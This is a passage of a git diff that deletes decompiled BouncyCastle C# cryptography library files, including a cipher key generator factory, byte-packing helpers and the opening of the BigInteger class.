CbcBlockCipher(new AesEngine()); - } - else if (PkcsObjectIdentifiers.DesEde3Cbc.Equals(algorithm)) - { - cipher = new CbcBlockCipher(new DesEdeEngine()); - } - else if (OiwObjectIdentifiers.DesCbc.Equals(algorithm)) - { - cipher = new CbcBlockCipher(new DesEngine()); - } - else if (PkcsObjectIdentifiers.RC2Cbc.Equals(algorithm)) - { - cipher = new CbcBlockCipher(new RC2Engine()); - } - else - { - if (!MiscObjectIdentifiers.cast5CBC.Equals(algorithm)) - { - throw new InvalidOperationException("cannot recognise cipher: " + algorithm); - } - cipher = new CbcBlockCipher(new Cast5Engine()); - } - return new PaddedBufferedBlockCipher(cipher, new Pkcs7Padding()); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Utilities/CipherKeyGeneratorFactory.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Utilities/CipherKeyGeneratorFactory.cs deleted file mode 100644 index 19caacc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Utilities/CipherKeyGeneratorFactory.cs +++ /dev/null @@ -1,82 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Kisa; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Ntt; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Crypto.Generators; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Utilities; - -public class CipherKeyGeneratorFactory -{ - private CipherKeyGeneratorFactory() - { - } - - public static CipherKeyGenerator CreateKeyGenerator(DerObjectIdentifier algorithm, SecureRandom random) - { - if (NistObjectIdentifiers.IdAes128Cbc.Equals(algorithm)) - { - return CreateCipherKeyGenerator(random, 128); - } - if (NistObjectIdentifiers.IdAes192Cbc.Equals(algorithm)) - { - return CreateCipherKeyGenerator(random, 192); - } - if (NistObjectIdentifiers.IdAes256Cbc.Equals(algorithm)) - { - return CreateCipherKeyGenerator(random, 256); - } - if (PkcsObjectIdentifiers.DesEde3Cbc.Equals(algorithm)) - { - DesEdeKeyGenerator desEdeKeyGenerator = new DesEdeKeyGenerator(); - desEdeKeyGenerator.Init(new KeyGenerationParameters(random, 192)); - return desEdeKeyGenerator; - } - if (NttObjectIdentifiers.IdCamellia128Cbc.Equals(algorithm)) - { - return CreateCipherKeyGenerator(random, 128); - } - if (NttObjectIdentifiers.IdCamellia192Cbc.Equals(algorithm)) - { - return CreateCipherKeyGenerator(random, 192); - } - if (NttObjectIdentifiers.IdCamellia256Cbc.Equals(algorithm)) - { - return CreateCipherKeyGenerator(random, 256); - } - if (KisaObjectIdentifiers.IdSeedCbc.Equals(algorithm)) - { - return CreateCipherKeyGenerator(random, 128); - } - if (AlgorithmIdentifierFactory.CAST5_CBC.Equals(algorithm)) - { - return CreateCipherKeyGenerator(random, 128); - } - if (OiwObjectIdentifiers.DesCbc.Equals(algorithm)) - { - DesKeyGenerator desKeyGenerator = new DesKeyGenerator(); - desKeyGenerator.Init(new KeyGenerationParameters(random, 64)); - return desKeyGenerator; - } - if (PkcsObjectIdentifiers.rc4.Equals(algorithm)) - { - return CreateCipherKeyGenerator(random, 128); - } - if (PkcsObjectIdentifiers.RC2Cbc.Equals(algorithm)) - { - return CreateCipherKeyGenerator(random, 128); - } - throw new InvalidOperationException("cannot recognise cipher: " + algorithm); - } - - private static CipherKeyGenerator CreateCipherKeyGenerator(SecureRandom random, int keySize) - { - CipherKeyGenerator cipherKeyGenerator = new CipherKeyGenerator(); - cipherKeyGenerator.Init(new KeyGenerationParameters(random, keySize)); - return cipherKeyGenerator; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Utilities/Pack.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Utilities/Pack.cs deleted file mode 100644 index 6f84606..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Utilities/Pack.cs +++ /dev/null @@ -1,326 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Utilities; - -internal sealed class Pack -{ - private Pack() - { - } - - internal static void UInt16_To_BE(ushort n, byte[] bs) - { - bs[0] = (byte)(n >> 8); - bs[1] = (byte)n; - } - - internal static void UInt16_To_BE(ushort n, byte[] bs, int off) - { - bs[off] = (byte)(n >> 8); - bs[off + 1] = (byte)n; - } - - internal static ushort BE_To_UInt16(byte[] bs) - { - uint num = (uint)((bs[0] << 8) | bs[1]); - return (ushort)num; - } - - internal static ushort BE_To_UInt16(byte[] bs, int off) - { - uint num = (uint)((bs[off] << 8) | bs[off + 1]); - return (ushort)num; - } - - internal static byte[] UInt32_To_BE(uint n) - { - byte[] array = new byte[4]; - UInt32_To_BE(n, array, 0); - return array; - } - - internal static void UInt32_To_BE(uint n, byte[] bs) - { - bs[0] = (byte)(n >> 24); - bs[1] = (byte)(n >> 16); - bs[2] = (byte)(n >> 8); - bs[3] = (byte)n; - } - - internal static void UInt32_To_BE(uint n, byte[] bs, int off) - { - bs[off] = (byte)(n >> 24); - bs[off + 1] = (byte)(n >> 16); - bs[off + 2] = (byte)(n >> 8); - bs[off + 3] = (byte)n; - } - - internal static byte[] UInt32_To_BE(uint[] ns) - { - byte[] array = new byte[4 * ns.Length]; - UInt32_To_BE(ns, array, 0); - return array; - } - - internal static void UInt32_To_BE(uint[] ns, byte[] bs, int off) - { - for (int i = 0; i < ns.Length; i++) - { - UInt32_To_BE(ns[i], bs, off); - off += 4; - } - } - - internal static uint BE_To_UInt32(byte[] bs) - { - return (uint)((bs[0] << 24) | (bs[1] << 16) | (bs[2] << 8) | bs[3]); - } - - internal static uint BE_To_UInt32(byte[] bs, int off) - { - return (uint)((bs[off] << 24) | (bs[off + 1] << 16) | (bs[off + 2] << 8) | bs[off + 3]); - } - - internal static void BE_To_UInt32(byte[] bs, int off, uint[] ns) - { - for (int i = 0; i < ns.Length; i++) - { - ns[i] = BE_To_UInt32(bs, off); - off += 4; - } - } - - internal static byte[] UInt64_To_BE(ulong n) - { - byte[] array = new byte[8]; - UInt64_To_BE(n, array, 0); - return array; - } - - internal static void UInt64_To_BE(ulong n, byte[] bs) - { - UInt32_To_BE((uint)(n >> 32), bs); - UInt32_To_BE((uint)n, bs, 4); - } - - internal static void UInt64_To_BE(ulong n, byte[] bs, int off) - { - UInt32_To_BE((uint)(n >> 32), bs, off); - UInt32_To_BE((uint)n, bs, off + 4); - } - - internal static byte[] UInt64_To_BE(ulong[] ns) - { - byte[] array = new byte[8 * ns.Length]; - UInt64_To_BE(ns, array, 0); - return array; - } - - internal static void UInt64_To_BE(ulong[] ns, byte[] bs, int off) - { - for (int i = 0; i < ns.Length; i++) - { - UInt64_To_BE(ns[i], bs, off); - off += 8; - } - } - - internal static ulong BE_To_UInt64(byte[] bs) - { - uint num = BE_To_UInt32(bs); - uint num2 = BE_To_UInt32(bs, 4); - return ((ulong)num << 32) | num2; - } - - internal static ulong BE_To_UInt64(byte[] bs, int off) - { - uint num = BE_To_UInt32(bs, off); - uint num2 = BE_To_UInt32(bs, off + 4); - return ((ulong)num << 32) | num2; - } - - internal static void BE_To_UInt64(byte[] bs, int off, ulong[] ns) - { - for (int i = 0; i < ns.Length; i++) - { - ns[i] = BE_To_UInt64(bs, off); - off += 8; - } - } - - internal static void UInt16_To_LE(ushort n, byte[] bs) - { - bs[0] = (byte)n; - bs[1] = (byte)(n >> 8); - } - - internal static void UInt16_To_LE(ushort n, byte[] bs, int off) - { - bs[off] = (byte)n; - bs[off + 1] = (byte)(n >> 8); - } - - internal static ushort LE_To_UInt16(byte[] bs) - { - uint num = (uint)(bs[0] | (bs[1] << 8)); - return (ushort)num; - } - - internal static ushort LE_To_UInt16(byte[] bs, int off) - { - uint num = (uint)(bs[off] | (bs[off + 1] << 8)); - return (ushort)num; - } - - internal static byte[] UInt32_To_LE(uint n) - { - byte[] array = new byte[4]; - UInt32_To_LE(n, array, 0); - return array; - } - - internal static void UInt32_To_LE(uint n, byte[] bs) - { - bs[0] = (byte)n; - bs[1] = (byte)(n >> 8); - bs[2] = (byte)(n >> 16); - bs[3] = (byte)(n >> 24); - } - - internal static void UInt32_To_LE(uint n, byte[] bs, int off) - { - bs[off] = (byte)n; - bs[off + 1] = (byte)(n >> 8); - bs[off + 2] = (byte)(n >> 16); - bs[off + 3] = (byte)(n >> 24); - } - - internal static byte[] UInt32_To_LE(uint[] ns) - { - byte[] array = new byte[4 * ns.Length]; - UInt32_To_LE(ns, array, 0); - return array; - } - - internal static void UInt32_To_LE(uint[] ns, byte[] bs, int off) - { - for (int i = 0; i < ns.Length; i++) - { - UInt32_To_LE(ns[i], bs, off); - off += 4; - } - } - - internal static uint LE_To_UInt32(byte[] bs) - { - return (uint)(bs[0] | (bs[1] << 8) | (bs[2] << 16) | (bs[3] << 24)); - } - - internal static uint LE_To_UInt32(byte[] bs, int off) - { - return (uint)(bs[off] | (bs[off + 1] << 8) | (bs[off + 2] << 16) | (bs[off + 3] << 24)); - } - - internal static void LE_To_UInt32(byte[] bs, int off, uint[] ns) - { - for (int i = 0; i < ns.Length; i++) - { - ns[i] = LE_To_UInt32(bs, off); - off += 4; - } - } - - internal static void LE_To_UInt32(byte[] bs, int bOff, uint[] ns, int nOff, int count) - { - for (int i = 0; i < count; i++) - { - ns[nOff + i] = LE_To_UInt32(bs, bOff); - bOff += 4; - } - } - - internal static uint[] LE_To_UInt32(byte[] bs, int off, int count) - { - uint[] array = new uint[count]; - for (int i = 0; i < array.Length; i++) - { - array[i] = LE_To_UInt32(bs, off); - off += 4; - } - return array; - } - - internal static byte[] UInt64_To_LE(ulong n) - { - byte[] array = new byte[8]; - UInt64_To_LE(n, array, 0); - return array; - } - - internal static void UInt64_To_LE(ulong n, byte[] bs) - { - UInt32_To_LE((uint)n, bs); - UInt32_To_LE((uint)(n >> 32), bs, 4); - } - - internal static void UInt64_To_LE(ulong n, byte[] bs, int off) - { - UInt32_To_LE((uint)n, bs, off); - UInt32_To_LE((uint)(n >> 32), bs, off + 4); - } - - internal static byte[] UInt64_To_LE(ulong[] ns) - { - byte[] array = new byte[8 * ns.Length]; - UInt64_To_LE(ns, array, 0); - return array; - } - - internal static void UInt64_To_LE(ulong[] ns, byte[] bs, int off) - { - for (int i = 0; i < ns.Length; i++) - { - UInt64_To_LE(ns[i], bs, off); - off += 8; - } - } - - internal static void UInt64_To_LE(ulong[] ns, int nsOff, int nsLen, byte[] bs, int bsOff) - { - for (int i = 0; i < nsLen; i++) - { - UInt64_To_LE(ns[nsOff + i], bs, bsOff); - bsOff += 8; - } - } - - internal static ulong LE_To_UInt64(byte[] bs) - { - uint num = LE_To_UInt32(bs); - uint num2 = LE_To_UInt32(bs, 4); - return ((ulong)num2 << 32) | num; - } - - internal static ulong LE_To_UInt64(byte[] bs, int off) - { - uint num = LE_To_UInt32(bs, off); - uint num2 = LE_To_UInt32(bs, off + 4); - return ((ulong)num2 << 32) | num; - } - - internal static void LE_To_UInt64(byte[] bs, int off, ulong[] ns) - { - for (int i = 0; i < ns.Length; i++) - { - ns[i] = LE_To_UInt64(bs, off); - off += 8; - } - } - - internal static void LE_To_UInt64(byte[] bs, int bsOff, ulong[] ns, int nsOff, int nsLen) - { - for (int i = 0; i < nsLen; i++) - { - ns[nsOff + i] = LE_To_UInt64(bs, bsOff); - bsOff += 8; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/BigInteger.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/BigInteger.cs deleted file mode 100644 index bff4610..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/BigInteger.cs +++ /dev/null @@ -1,2898 +0,0 @@ -using System; -using System.Collections; -using System.Globalization; -using System.Text; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math; - -[Serializable] -public class BigInteger -{ - private const long IMASK = 4294967295L; - - private const ulong UIMASK = 4294967295uL; - - private const int chunk2 = 1; - - private const int chunk8 = 1; - - private const int chunk10 = 19; - - private const int chunk16 = 16; - - private const int BitsPerByte = 8; - - private const int BitsPerInt = 32; - - private const int BytesPerInt = 4; - - internal static readonly int[][] primeLists; - - internal static readonly int[] primeProducts; - - private static readonly int[] ZeroMagnitude; - - private static readonly byte[] ZeroEncoding; - - private static readonly BigInteger[] SMALL_CONSTANTS; - - public static readonly BigInteger Zero; - - public static readonly BigInteger One; - - public static readonly BigInteger Two; - - public static readonly BigInteger Three; - - public static readonly BigInteger Ten; - - private static readonly byte[] BitLengthTable; - - private static readonly BigInteger radix2; - - private static readonly BigInteger radix2E; - - private static readonly BigInteger radix8; - - private static readonly BigInteger radix8E; - - private static readonly BigInteger radix10; - - private static readonly BigInteger radix10E; - - private static readonly BigInteger radix16; - - private static readonly BigInteger radix16E; - - private static readonly SecureRandom RandomSource; - - private static readonly int[] ExpWindowThresholds; - - private int[] magnitude; - - private int sign; - - private int nBits = -1; - - private int nBitLength = -1; - - private int mQuote = 0; - - public int BitCount - { - get - { - if (nBits == -1) - { - if (sign < 0) - { - nBits = Not().BitCount; - } - else - { - int num = 0; - for (int i = 0; i < magnitude.Length; i++) - { - num += BitCnt(magnitude[i]); - } - nBits = num; - } - } - return nBits; - } - } - - public int BitLength - { - get - { - if (nBitLength == -1) - { - nBitLength = ((sign != 0) ? CalcBitLength(sign, 0, magnitude) : 0); - } - return nBitLength; - } - } - - public int IntValue - { - get - { - if (sign == 0) - { - return 0; - } - int num = magnitude.Length; - int num2 = magnitude[num - 1]; - if (sign >= 0) - { - return num2; - } - return -num2; - } - } - - public long LongValue - { - get - { - if (sign == 0) - { - return 0L; - } - int num = magnitude.Length; - long num2 = magnitude[num - 1] & 0xFFFFFFFFu; - if (num > 1) - { - num2 |= (magnitude[num - 2] & 0xFFFFFFFFu) << 32; - } - if (sign >= 0) - { - return num2; - } - return -num2; - } - } - - public int SignValue => sign; - - static BigInteger() - { - primeLists = new int[64][] - { - new int[8] { 3, 5, 7, 11, 13, 17, 19, 23 }, - new int[5] { 29, 31, 37, 41, 43 }, - new int[5] { 47, 53, 59, 61, 67 }, - new int[4] { 71, 73, 79, 83 }, - new int[4] { 89, 97, 101, 103 }, - new int[4] { 107, 109, 113, 127 }, - new int[4] { 131, 137, 139, 149 }, - new int[4] { 151, 157, 163, 167 }, - new int[4] { 173, 179, 181, 191 }, - new int[4] { 193, 197, 199, 211 }, - new int[3] { 223, 227, 229 }, - new int[3] { 233, 239, 241 }, - new int[3] { 251, 257, 263 }, - new int[3] { 269, 271, 277 }, - new int[3] { 281, 283, 293 }, - new int[3] { 307, 311, 313 }, - new int[3] { 317, 331, 337 }, - new int[3] { 347, 349, 353 }, - new int[3] { 359, 367, 373 }, - new int[3] { 379, 383, 389 }, - new int[3] { 397, 401, 409 }, - new int[3] { 419, 421, 431 }, - new int[3] { 433, 439, 443 }, - new int[3] { 449, 457, 461 }, - new int[3] { 463, 467, 479 }, - new int[3] { 487, 491, 499 }, - new int[3] { 503, 509, 521 }, - new int[3] { 523, 541, 547 }, - new int[3] { 557, 563, 569 }, - new int[3] { 571, 577, 587 }, - new int[3] { 593, 599, 601 }, - new int[3] { 607, 613, 617 }, - new int[3] { 619, 631, 641 }, - new int[3] { 643, 647, 653 }, - new int[3] { 659, 661, 673 }, - new int[3] { 677, 683, 691 }, - new int[3] { 701, 709, 719 }, - new int[3] { 727, 733, 739 }, - new int[3] { 743, 751, 757 }, - new int[3] { 761, 769, 773 }, - new int[3] { 787, 797, 809 }, - new int[3] { 811, 821, 823 }, - new int[3] { 827, 829, 839 }, - new int[3] { 853, 857, 859 }, - new int[3] { 863, 877, 881 }, - new int[3] { 883, 887, 907 }, - new int[3] { 911, 919, 929 }, - new int[3] { 937, 941, 947 }, - new int[3] { 953, 967, 971 }, - new int[3] { 977, 983, 991 }, - new int[3] { 997, 1009, 1013 }, - new int[3] { 1019, 1021, 1031 }, - new int[3] { 1033, 1039, 1049 }, - new int[3] { 1051, 1061, 1063 }, - new int[3] { 1069, 1087, 1091 }, - new int[3] { 1093, 1097, 1103 }, - new int[3] { 1109, 1117, 1123 }, - new int[3] { 1129, 1151, 1153 }, - new int[3] { 1163, 1171, 1181 }, - new int[3] { 1187, 1193, 1201 }, - new int[3] { 1213, 1217, 1223 }, - new int[3] { 1229, 1231, 1237 }, - new int[3] { 1249, 1259, 1277 }, - new int[3] { 1279, 1283, 1289 } - }; - ZeroMagnitude = new int[0]; - ZeroEncoding = new byte[0]; - SMALL_CONSTANTS = new BigInteger[17]; - BitLengthTable = new byte[256] - { - 0, 1, 2, 2, 3, 3, 3, 3, 4, 4, - 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, - 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, - 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, - 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, - 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, - 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, - 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, - 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, - 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, - 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, - 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, - 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8 - }; - RandomSource = new SecureRandom(); - ExpWindowThresholds = new int[8] { 7, 25, 81, 241, 673, 1793, 4609, 2147483647 }; - Zero = new BigInteger(0, ZeroMagnitude, checkMag: false); - Zero.nBits = 0; - Zero.nBitLength = 0; - SMALL_CONSTANTS[0] = Zero; - for (uint num = 1u; num < SMALL_CONSTANTS.Length; num++) - { - SMALL_CONSTANTS[num] = CreateUValueOf(num); - } - One = SMALL_CONSTANTS[1]; - Two = SMALL_CONSTANTS[2]; - Three = SMALL_CONSTANTS[3]; - Ten = SMALL_CONSTANTS[10]; - radix2 = ValueOf(2L); - radix2E = radix2.Pow(1); - radix8 = ValueOf(8L); - radix8E = radix8.Pow(1); - radix10 = ValueOf(10L); - radix10E = radix10.Pow(19); - radix16 = ValueOf(16L); - radix16E = radix16.Pow(16); - primeProducts = new int[primeLists.Length]; - for (int i = 0; i < primeLists.Length; i++) - { - int[] array = primeLists[i]; - int num2 = array[0]; - for (int j = 1; j < array.Length; j++) - { - num2 *= array[j]; - } - primeProducts[i] = num2; - } - } - - private static int GetByteLength(int nBits) - { - return (nBits + 8 - 1) / 8; - } - - internal static BigInteger Arbitrary(int sizeInBits) - { - return new BigInteger(sizeInBits, RandomSource); - } - - private BigInteger(int signum, int[] mag, bool checkMag) - { - if (checkMag) - { - int i; - for (i = 0; i < mag.Length && mag[i] == 0; i++) - { - } - if (i == mag.Length) - { - sign = 0; - magnitude = ZeroMagnitude; - return; - } - sign = signum; - if (i == 0) - { - magnitude = mag; - return; - } - magnitude = new int[mag.Length - i]; - Array.Copy(mag, i, magnitude, 0, magnitude.Length); - } - else - { - sign = signum; - magnitude = mag; - } - } - - public BigInteger(string value) - : this(value, 10) - { - } - - public BigInteger(string str, int radix) - { - if (str.Length == 0) - { - throw new FormatException("Zero length BigInteger"); - } - NumberStyles style; - int num; - BigInteger bigInteger; - BigInteger val; - switch (radix) - { - case 2: - style = NumberStyles.Integer; - num = 1; - bigInteger = radix2; - val = radix2E; - break; - case 8: - style = NumberStyles.Integer; - num = 1; - bigInteger = radix8; - val = radix8E; - break; - case 10: - style = NumberStyles.Integer; - num = 19; - bigInteger = radix10; - val = radix10E; - break; - case 16: - style = NumberStyles.AllowHexSpecifier; - num = 16; - bigInteger = radix16; - val = radix16E; - break; - default: - throw new FormatException("Only bases 2, 8, 10, or 16 allowed"); - } - int i = 0; - sign = 1; - if (str[0] == '-') - { - if (str.Length == 1) - { - throw new FormatException("Zero length BigInteger"); - } - sign = -1; - i = 1; - } - for (; i < str.Length && int.Parse(str[i].ToString(), style) == 0; i++) - { - } - if (i >= str.Length) - { - sign = 0; - magnitude = ZeroMagnitude; - return; - } - BigInteger bigInteger2 = Zero; - int num2 = i + num; - if (num2 <= str.Length) - { - do - { - string text = str.Substring(i, num); - ulong num3 = ulong.Parse(text, style); - BigInteger value = CreateUValueOf(num3); - switch (radix) - { - case 2: - if (num3 >= 2) - { - throw new FormatException("Bad character in radix 2 string: " + text); - } - bigInteger2 = bigInteger2.ShiftLeft(1); - break; - case 8: - if (num3 >= 8) - { - throw new FormatException("Bad character in radix 8 string: " + text); - } - bigInteger2 = bigInteger2.ShiftLeft(3); - break; - case 16: - bigInteger2 = bigInteger2.ShiftLeft(64); - break; - default: - bigInteger2 = bigInteger2.Multiply(val); - break; - } - bigInteger2 = bigInteger2.Add(value); - i = num2; - num2 += num; - } - while (num2 <= str.Length); - } - if (i < str.Length) - { - string text2 = str.Substring(i); - ulong value2 = ulong.Parse(text2, style); - BigInteger bigInteger3 = CreateUValueOf(value2); - if (bigInteger2.sign > 0) - { - switch (radix) - { - case 16: - bigInteger2 = bigInteger2.ShiftLeft(text2.Length << 2); - break; - default: - bigInteger2 = bigInteger2.Multiply(bigInteger.Pow(text2.Length)); - break; - case 2: - case 8: - break; - } - bigInteger2 = bigInteger2.Add(bigInteger3); - } - else - { - bigInteger2 = bigInteger3; - } - } - magnitude = bigInteger2.magnitude; - } - - public BigInteger(byte[] bytes) - : this(bytes, 0, bytes.Length) - { - } - - public BigInteger(byte[] bytes, int offset, int length) - { - if (length == 0) - { - throw new FormatException("Zero length BigInteger"); - } - if ((sbyte)bytes[offset] < 0) - { - sign = -1; - int num = offset + length; - int i; - for (i = offset; i < num && (sbyte)bytes[i] == -1; i++) - { - } - if (i >= num) - { - magnitude = One.magnitude; - return; - } - int num2 = num - i; - byte[] array = new byte[num2]; - int num3 = 0; - while (num3 < num2) - { - array[num3++] = (byte)(~bytes[i++]); - } - while (array[--num3] == byte.MaxValue) - { - array[num3] = 0; - } - byte[] array3; - byte[] array2 = (array3 = array); - int num4 = num3; - nint num5 = num4; - array2[num4] = (byte)(array3[num5] + 1); - magnitude = MakeMagnitude(array, 0, array.Length); - } - else - { - magnitude = MakeMagnitude(bytes, offset, length); - sign = ((magnitude.Length > 0) ? 1 : 0); - } - } - - private static int[] MakeMagnitude(byte[] bytes, int offset, int length) - { - int num = offset + length; - int i; - for (i = offset; i < num && bytes[i] == 0; i++) - { - } - if (i >= num) - { - return ZeroMagnitude; - } - int num2 = (num - i + 3) / 4; - int num3 = (num - i) % 4; - if (num3 == 0) - { - num3 = 4; - } - if (num2 < 1) - { - return ZeroMagnitude; - } - int[] array = new int[num2]; - int num4 = 0; - int num5 = 0; - for (int j = i; j < num; j++) - { - num4 <<= 8; - num4 |= bytes[j] & 0xFF; - num3--; - if (num3 <= 0) - { - array[num5] = num4; - num5++; - num3 = 4; - num4 = 0; - } - } - if (num5 < array.Length) - { - array[num5] = num4; - } - return array; - } - - public BigInteger(int sign, byte[] bytes) - : this(sign, bytes, 0, bytes.Length) - { - } - - public BigInteger(int sign, byte[] bytes, int offset, int length) - { - switch (sign) - { - default: - throw new FormatException("Invalid sign value"); - case 0: - this.sign = 0; - magnitude = ZeroMagnitude; - break; - case -1: - case 1: - magnitude = MakeMagnitude(bytes, offset, length); - this.sign = ((magnitude.Length >= 1) ? sign : 0); - break; - } - } - - public BigInteger(int sizeInBits, Random random) - { - if (sizeInBits < 0) - { - throw new ArgumentException("sizeInBits must be non-negative"); - } - nBits = -1; - nBitLength = -1; - if (sizeInBits == 0) - { - sign = 0; - magnitude = ZeroMagnitude; - return; - } - int byteLength = GetByteLength(sizeInBits); - byte[] array = new byte[byteLength]; - random.NextBytes(array); - int num = 8 * byteLength - sizeInBits; - byte[] array2; - (array2 = array)[0] = (byte)(array2[0] & (byte)(255 >>> num)); - magnitude = MakeMagnitude(array, 0, array.Length); - sign = ((magnitude.Length >= 1) ? 1 : 0); - } - - public BigInteger(int bitLength, int certainty, Random random) - { - if (bitLength < 2) - { - throw new ArithmeticException("bitLength < 2"); - } - sign = 1; - nBitLength = bitLength; - if (bitLength == 2) - { - magnitude = ((random.Next(2) == 0) ? Two.magnitude : Three.magnitude); - return; - } - int byteLength = GetByteLength(bitLength); - byte[] array = new byte[byteLength]; - int num = 8 * byteLength - bitLength; - byte b = (byte)(255u >> num); - byte b2 = (byte)(1 << 7 - num); - while (true) - { - random.NextBytes(array); - byte[] array2; - (array2 = array)[0] = (byte)(array2[0] & b); - (array2 = array)[0] = (byte)(array2[0] | b2); - byte[] array3 = (array2 = array); - int num2 = byteLength - 1; - nint num3 = num2; - array3[num2] = (byte)(array2[num3] | 1); - magnitude = MakeMagnitude(array, 0, array.Length); - nBits = -1; - mQuote = 0; - if (certainty < 1 || CheckProbablePrime(certainty, random, randomlySelected: true)) - { - break; - } - for (int i = 1; i < magnitude.Length - 1; i++) - { - int[] array5; - int[] array4 = (array5 = magnitude); - int num4 = i; - num3 = num4; - array4[num4] = array5[num3] ^ random.Next(); - if (CheckProbablePrime(certainty, random, randomlySelected: true)) - { - return; - } - } - } - } - - public BigInteger Abs() - { - if (sign < 0) - { - return Negate(); - } - return this; - } - - private static int[] AddMagnitudes(int[] a, int[] b) - { - int num = a.Length - 1; - int num2 = b.Length - 1; - long num3 = 0L; - while (num2 >= 0) - { - num3 += (long)(uint)a[num] + (long)(uint)b[num2--]; - a[num--] = (int)num3; - num3 >>>= 32; - } - if (num3 != 0) - { - while (num >= 0) - { - int[] array2; - int[] array = (array2 = a); - int num4 = num--; - nint num5 = num4; - if ((array[num4] = array2[num5] + 1) != 0) - { - break; - } - } - } - return a; - } - - public BigInteger Add(BigInteger value) - { - if (sign == 0) - { - return value; - } - if (sign != value.sign) - { - if (value.sign == 0) - { - return this; - } - if (value.sign < 0) - { - return Subtract(value.Negate()); - } - return value.Subtract(Negate()); - } - return AddToMagnitude(value.magnitude); - } - - private BigInteger AddToMagnitude(int[] magToAdd) - { - int[] array; - int[] array2; - if (magnitude.Length < magToAdd.Length) - { - array = magToAdd; - array2 = magnitude; - } - else - { - array = magnitude; - array2 = magToAdd; - } - uint num = uint.MaxValue; - if (array.Length == array2.Length) - { - num -= (uint)array2[0]; - } - bool flag = (uint)array[0] >= num; - int[] array3; - if (flag) - { - array3 = new int[array.Length + 1]; - array.CopyTo(array3, 1); - } - else - { - array3 = (int[])array.Clone(); - } - array3 = AddMagnitudes(array3, array2); - return new BigInteger(sign, array3, flag); - } - - public BigInteger And(BigInteger value) - { - if (sign == 0 || value.sign == 0) - { - return Zero; - } - int[] array = ((sign > 0) ? magnitude : Add(One).magnitude); - int[] array2 = ((value.sign > 0) ? value.magnitude : value.Add(One).magnitude); - bool flag = sign < 0 && value.sign < 0; - int num = System.Math.Max(array.Length, array2.Length); - int[] array3 = new int[num]; - int num2 = array3.Length - array.Length; - int num3 = array3.Length - array2.Length; - for (int i = 0; i < array3.Length; i++) - { - int num4 = ((i >= num2) ? array[i - num2] : 0); - int num5 = ((i >= num3) ? array2[i - num3] : 0); - if (sign < 0) - { - num4 = ~num4; - } - if (value.sign < 0) - { - num5 = ~num5; - } - array3[i] = num4 & num5; - if (flag) - { - array3[i] = ~array3[i]; - } - } - BigInteger bigInteger = new BigInteger(1, array3, checkMag: true); - if (flag) - { - bigInteger = bigInteger.Not(); - } - return bigInteger; - } - - public BigInteger AndNot(BigInteger val) - { - return And(val.Not()); - } - - public static int BitCnt(int i) - { - uint num = (uint)i; - num -= (num >> 1) & 0x55555555; - num = (num & 0x33333333) + ((num >> 2) & 0x33333333); - num = (num + (num >> 4)) & 0xF0F0F0F; - num += num >> 8; - num += num >> 16; - return (int)(num & 0x3F); - } - - private static int CalcBitLength(int sign, int indx, int[] mag) - { - while (true) - { - if (indx >= mag.Length) - { - return 0; - } - if (mag[indx] != 0) - { - break; - } - indx++; - } - int num = 32 * (mag.Length - indx - 1); - int num2 = mag[indx]; - num += BitLen(num2); - if (sign < 0 && (num2 & -num2) == num2) - { - do - { - if (++indx >= mag.Length) - { - num--; - break; - } - } - while (mag[indx] == 0); - } - return num; - } - - internal static int BitLen(int w) - { - uint num = (uint)w >> 24; - if (num != 0) - { - return 24 + BitLengthTable[num]; - } - num = (uint)w >> 16; - if (num != 0) - { - return 16 + BitLengthTable[num]; - } - num = (uint)w >> 8; - if (num != 0) - { - return 8 + BitLengthTable[num]; - } - return BitLengthTable[w]; - } - - private bool QuickPow2Check() - { - if (sign > 0) - { - return nBits == 1; - } - return false; - } - - public int CompareTo(object obj) - { - return CompareTo((BigInteger)obj); - } - - private static int CompareTo(int xIndx, int[] x, int yIndx, int[] y) - { - while (xIndx != x.Length && x[xIndx] == 0) - { - xIndx++; - } - while (yIndx != y.Length && y[yIndx] == 0) - { - yIndx++; - } - return CompareNoLeadingZeroes(xIndx, x, 